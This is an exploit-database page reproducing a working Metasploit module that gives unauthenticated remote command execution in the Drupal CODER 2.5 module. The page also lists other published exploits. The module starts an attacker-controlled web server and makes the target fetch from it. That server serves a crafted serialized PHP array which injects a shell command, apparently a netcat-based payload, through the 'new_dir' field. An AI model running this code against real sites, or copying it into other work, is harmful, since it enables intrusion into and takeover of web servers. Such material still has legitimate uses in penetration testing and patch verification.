Search for hundreds of thousands of exploits

"Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)"

Author

Exploit author

"Mehmet Ince"

Platform

Exploit platform

php

Release date

Exploit published date

2016-07-25

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal CODER Module Remote Command Execution',
      'Description'    => %q{
        This module exploits a Remote Command Execution vulnerability in
        Drupal CODER Module. Unauthenticated users can execute arbitrary command
        under the context of the web server user.

        CODER module doesn't sufficiently validate user inputs in a script file
        that has the php extension. A malicious unauthenticated user can make
        requests directly to this file to execute arbitrary command.
        The module does not need to be enabled for this to be exploited

        This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicky Bloor',                         # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765575']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 225,
          'DisableNops' => true,
          'BadChars'    => "\x00\x2f",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'netcat netcat-e'
            },
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
        OptAddress.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
        OptPort.new('SRVPORT', [true, 'Bogus web server port to listen'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
    )
    if res && res.code == 200
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def on_request_uri(cli, _request)
    print_status("Incoming request detected...")
    p = ''
    p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
    p << 's:11:"theme_cache";s:16:"theme_cache_test";'
    p << 's:9:"variables";s:14:"variables_test";'
    p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
    p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
    p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
    p << 's:7:"new_dir";s:'
    p << (payload.encoded.length + 14).to_s
    p << ':"f --help && '
    p << payload.encoded
    p << ' #";s:4:"name";s:4:"test";}}}'
    print_status("Sending payload...")
    send_response(cli, p)
  end

  def exploit
    start_service
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
      'encode_params' => false,
      'vars_get' => {
        'file' => get_uri
      }
    )
    stop_service
  end
end
Release Date Title Type Platform Author
2020-09-21 "ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path" local windows "Burhanettin Ozgenc"
2020-09-21 "B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution" webapps multiple LiquidWorm
2020-09-21 "Mida eFramework 2.9.0 - Back Door Access" webapps hardware elbae
2020-09-21 "BlackCat CMS 1.3.6 - Cross-Site Request Forgery" webapps php Noth
2020-09-21 "Seat Reservation System 1.0 - 'id' SQL Injection" webapps php Augkim
2020-09-21 "Online Shop Project 1.0 - 'p' SQL Injection" webapps php Augkim
2020-09-18 "Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)" webapps php "Nikolas Geiselman"
2020-09-18 "SpamTitan 7.07 - Remote Code Execution (Authenticated)" webapps multiple "Felipe Molina"
2020-09-17 "Microsoft SQL Server Reporting Services 2016 - Remote Code Execution" remote windows "West Shepherd"
2020-09-16 "Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software" local windows hyp3rlinx
Release Date Title Type Platform Author
2020-09-21 "Seat Reservation System 1.0 - 'id' SQL Injection" webapps php Augkim
2020-09-21 "BlackCat CMS 1.3.6 - Cross-Site Request Forgery" webapps php Noth
2020-09-21 "Online Shop Project 1.0 - 'p' SQL Injection" webapps php Augkim
2020-09-18 "Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)" webapps php "Nikolas Geiselman"
2020-09-16 "Piwigo 2.10.1 - Cross Site Scripting" webapps php Iridium
2020-09-15 "Tailor MS 1.0 - Reflected Cross-Site Scripting" webapps php boku
2020-09-15 "ThinkAdmin 6 - Arbitrarily File Read" webapps php Hzllaga
2020-09-14 "Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)" webapps php "Mehmet Kelepçe"
2020-09-10 "CuteNews 2.1.2 - Remote Code Execution" webapps php "Musyoka Ian"
2020-09-09 "Tailor Management System - 'id' SQL Injection" webapps php Mosaaed
Release Date Title Type Platform Author
2020-07-14 "Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch 4 Build 1901 - Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2020-04-06 "Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2019-01-07 "Mailcleaner - Authenticated Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2018-07-24 "Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2018-06-26 "Liferay Portal < 7.0.4 - Server-Side Request Forgery" webapps java "Mehmet Ince"
2018-03-12 "ManageEngine Applications Manager 13.5 - Remote Code Execution (Metasploit)" webapps java "Mehmet Ince"
2018-01-04 "Xplico - Remote Code Execution (Metasploit)" remote linux "Mehmet Ince"
2017-10-11 "Trend Micro OfficeScan 11.0/XG (12.0) - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-10-11 "Trend Micro InterScan Messaging Security (Virtual Appliance) - 'Proxy.php' Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-09-19 "DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)" webapps linux "Mehmet Ince"
2017-09-12 "osTicket 1.10 - SQL Injection (PoC)" webapps php "Mehmet Ince"
2017-06-26 "Symantec Messaging Gateway 10.6.2-7 - Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2017-05-09 "Crypttech CryptoLog - Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2017-03-24 "Logsign 4.4.2/4.4.137 - Remote Command Injection (Metasploit)" remote python "Mehmet Ince"
2017-03-17 "SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)" remote linux "Mehmet Ince"
2017-01-31 "AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-01-15 "Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2017-01-08 "ManagEnegine ADManager Plus 6.5.40 - Multiple Vulnerabilities" webapps java "Mehmet Ince"
2016-09-21 "Kaltura 11.1.0-2 - Remote Code Execution (Metasploit)" remote php "Mehmet Ince"
2016-07-25 "Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)" webapps php "Mehmet Ince"
2016-07-20 "Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)" remote php "Mehmet Ince"
2016-07-11 "Tiki Wiki 15.1 - File Upload (Metasploit)" remote php "Mehmet Ince"
2016-06-27 "BigTree CMS 4.2.11 - SQL Injection" webapps php "Mehmet Ince"
2016-06-15 "BookingWizz Booking System < 5.5 - Multiple Vulnerabilities" webapps php "Mehmet Ince"
2016-05-24 "AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XML External Entity Injection" webapps asp "Mehmet Ince"
2014-04-24 "Bonefire 0.7.1 - Reinstall Admin Account" webapps php "Mehmet Ince"
2014-04-22 "No-CMS 0.6.6 rev 1 - Admin Account Hijacking / Remote Code Execution via Static Encryption Key" webapps php "Mehmet Ince"
2012-05-01 "WordPress Plugin Zingiri Web Shop 2.4.2 - Persistent Cross-Site Scripting" webapps php "Mehmet Ince"
2012-04-27 "SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection" webapps php "Mehmet Ince"
2012-04-26 "WordPress Plugin Zingiri Web Shop 2.4.0 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Mehmet Ince"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/40149/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.